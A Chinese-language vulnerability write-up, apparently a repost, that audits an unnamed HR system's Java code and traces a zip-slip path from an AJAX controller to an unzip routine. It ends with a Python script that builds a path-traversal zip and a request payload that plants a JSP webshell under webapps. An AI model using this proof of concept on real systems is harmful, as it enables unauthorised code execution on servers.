突破文件后缀限制实现任意文件上传

admin 2025年2月18日19:12:41评论18 views字数 4590阅读15分18秒阅读模式

 

原文链接:https://forum.butian.net/share/4129

作者:中铁13层打工人

0x1 前言

之前人力系统审计文章中发现了鸡肋的上传点,本着学习的心态看看能不能扩大利用到getshell,于是就有了这篇较坎坷的文章。

0x2 寻找解压点

 

当时有提到白名单过滤可以上传zip,如果我们能找的可控的解压点理论上可以利用zip slip进行getshell。

查看web.xml发现另一处有关上传的servlet:

突破文件后缀限制实现任意文件上传

跟进到其中,发现在uploadMediaFile方法中有相关解压的操作

try {    var16 = ",jsp,jspx,bat,exe,jsf,jspf,server,setup,sql,sqlpage,tag,tagf,tagx,class,java,cmd,shs,msi,asp,aspx,net,";    var3 = newFileInputStream(newFile(var7 + var6 + var1 + var2));    var15 = newZipInputStream((InputStream)var3);ZipEntryvar17=null;while((var17 = var15.getNextEntry()) != null) {if (!var17.isDirectory()) {            var18 = var17.getName();            var19 = var18.substring(var18.indexOf("."));if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {                var14.append("{文件名:"" + var1 + "",");                var14.append("类型:"" + var2 + "",");                var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");break;            }if (var18.toLowerCase().indexOf("imsmanifest.xml") != -1) {                var9 = true;SAXBuildervar20=newSAXBuilder();Documentvar21= var20.build(var15);                var9 = var9 && this.isHashNode(var21);break;            }            var15.closeEntry();        }    }catch (IOException var44) {    var44.printStackTrace();thrownewException("zip文件错误");finally {    PubFunc.closeIoResource(var15);if (var3 != null) {        ((InputStream)var3).close();    }}

细细一看,居然对文件名进行了判断

var18 = var17.getName();var19 = var18.substring(var18.indexOf("."));if (var16.indexOf(","+ var19.toLowerCase() +",">-1|| var16.indexOf(","+ var19.toLowerCase().substring(1+",">-1) {      var14.append("{文件名:""+ var1 +"",");      var14.append("类型:""+ var2 +"",");      var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");break;}

这里通过getName获取到压缩包中的文件名,然后通过var18.substring(var18.indexOf("."));取得文件后缀,进入if判断,当后缀名在黑名单时报错。

此处看来是行不通了,我们全局搜索如ZipInputStreamZipEntry,发现有好多地方有调用

突破文件后缀限制实现任意文件上传

这无异于增加了发现难度,不过根据上面servlet发现其实该ZipEntry类其实是该系统自己封装实现的

突破文件后缀限制实现任意文件上传

然后我们用老朋友jar-analyzer工具帮我们搜索com.xxx.xxx.zip.ZipEntrygetName方法调用

突破文件后缀限制实现任意文件上传

除了上述servlet以外还有两处类名基本一样的savexxxxTransunZip()方法有使用

突破文件后缀限制实现任意文件上传

可以看的是将压缩包的文件解压到var2变量控制的目录中,如果我们知道var2的具体位置就可以构造zip slip的恶意压缩包,将webshell解压到web目录下,向上看该方法的调用

突破文件后缀限制实现任意文件上传

目录是由var1也就是压缩包路径和var2确定,相当于在存压缩包的路径创建var2目录解压目录到其中,根据之前上传接口会返回文件全路径,如果var1参数完全可控可以构造恶意压缩包:

tomcat/temp/xxxx.zip(ps:1.txt) -解压-> tomcat/temp/$(var2)/1.txt -zipslip->  tomcat/temp/$(var2)/../../webapps/1.txt

那么var1真可控吗

往上到其调用:

publicvoidexecute() throws GeneralException {     String var1 = "yes";try {        ...        String var3 = (String)this.getFormHM().get("r5100");        ...        String var9 = (String)this.getFormHM().get("newPath");        ...if (!var3.equals("")) {            var2.setString("r5100", var3);            var12 = this.isZip(var9, var3);

可以看到路径是由是newPath控制,且存在this.getFormHM()hashmap中。

而根据以往搜索经验却找不到该execute()方法的调用,难道是只定义而没调用嘛,那岂不是寄了!

0x3 寻找触发点

然而经过我不断的根据和搜查。。。在某配置文件找的了该类的全限名

突破文件后缀限制实现任意文件上传

感觉像是根据funcid创建mainClass的实例进行执行,一般配置文件都有加载到对象中的过程,于是寻找读取配置文件初始化对象的类和方法。

突破文件后缀限制实现任意文件上传

WFMapping#init中加载配置文件初始化到变量E中,

突破文件后缀限制实现任意文件上传
突破文件后缀限制实现任意文件上传

MsgRouter#execute()方法中会调用WFMapping#init(),同时调用businessProcess.synJavaBeanExecute()来反射调用对应mainclass中的execute方法,相关代码如下

突破文件后缀限制实现任意文件上传

MsgRouter#execute()方法被FrameCmd#execute()所调用

突破文件后缀限制实现任意文件上传

最终在AjaxController#A()方法中调用了FrameCmd#execute()

突破文件后缀限制实现任意文件上传

而其中用于赋值给FromHM的Var2变量是通过请求参数来控制的

那么AjaxController具体如何触发到A方法,我们来看看

突破文件后缀限制实现任意文件上传
突破文件后缀限制实现任意文件上传

首先根据__type的值当不是bymobilebyWeiXinbyserviceclient会进行session有效性检查,未授权会提示请登录。

后续会根据__type调用到A方法进行hashmap的初始化然后调用execute。

突破文件后缀限制实现任意文件上传
突破文件后缀限制实现任意文件上传

可以看到是获取请求中__XML变量的值,通过C(String var1)方法将Json字符串转为RequestCommandhashmap存入,同时在A(HttpServletRequest var1, ResponseCommand var2)方法中将请求中其他键值对存入hashmap,之后调用前面AjaxController#A()方法,将两个的hashmap合并,一并赋值给TransInfoView.setFormHM中。

突破文件后缀限制实现任意文件上传

回顾整个过程

1、AjaxControllerhttp接口通过请求参数构造hashmap,传给FrameCmd

2、FrameCmd调用MsgRouter,后面MsgRouter根据hashmapfunctionId值找到具体类反射调用其execute方法,同时将hashmap赋值给FromHM

3、反射调用savexxTrans类的execute方法,构造r5100newpath参数,使其进入isZip方法,最终进入unZip解压newpath路径代表的zip,实现zip slip解压webshell到web目录

因无需权限的三种__type由于环境问题无法调试,故进行认证时的环境变量logonclass变量未知,登录绕过无法分析,所以只能是个后台漏洞,感兴趣的师傅可以自己再研究研究

0x4 漏洞复现

首先构造恶意压缩包

import zipfileif __name__ == "__main__":try:        zipFile = zipfile.ZipFile("poc1.zip""a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("poc1.zip")        zipFile.write("./1.jsp""../../webapps/xxx/2.jsp", zipfile.ZIP_DEFLATED)        zipFile.close()except IOError as e:raise e

上传文件并获取文件路径

突破文件后缀限制实现任意文件上传

然后构造savexxxTrans类所需要的hashmap

__xml={"functionId":"xxxxx0098","r5100":"123","newPath":"pymPAATTP2HJBPAATTPTSp3D3B4rfY9KhAbdPAATTP2HJBPAATTPG5D88fn0v7FA6ABeChYeJjq5fcLohhB4gaPAATTP2HJFPAATTPMIiqi5FFXEQqKHZPAATTP2HJFPAATTPrZR64L1hzvI0QApCj0mzlpFOFuzGQIlBSYCwL5nI36C66MJjBwHiBy1Kyx3cPAATTP2HJBPAATTPkHzFwJhiAe0xXuCscfPAATTP2HJBPAATTPPAATTP2HJFPAATTPhUSy6Ih2mpMTae9Z2fOVVPAATTP2HJBPAATTPXPmDGAPAATTP3HJDPAATTPPAATTP3HJDPAATTP"}

这里的newPath因为在其execute中需要进行了加密,解密结果与上传接口返回的fullpath解密结果一致。

然后再对__xml的值进行aes加密(主要是filter中当type为extTrans会进行AES解密)

登录后发送数据包

突破文件后缀限制实现任意文件上传

根目录成功访问jsp文件

突破文件后缀限制实现任意文件上传
 

原文始发于微信公众号(神农Sec):突破文件后缀限制实现任意文件上传

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月18日19:12:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   突破文件后缀限制实现任意文件上传https://cn-sec.com/archives/3755441.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息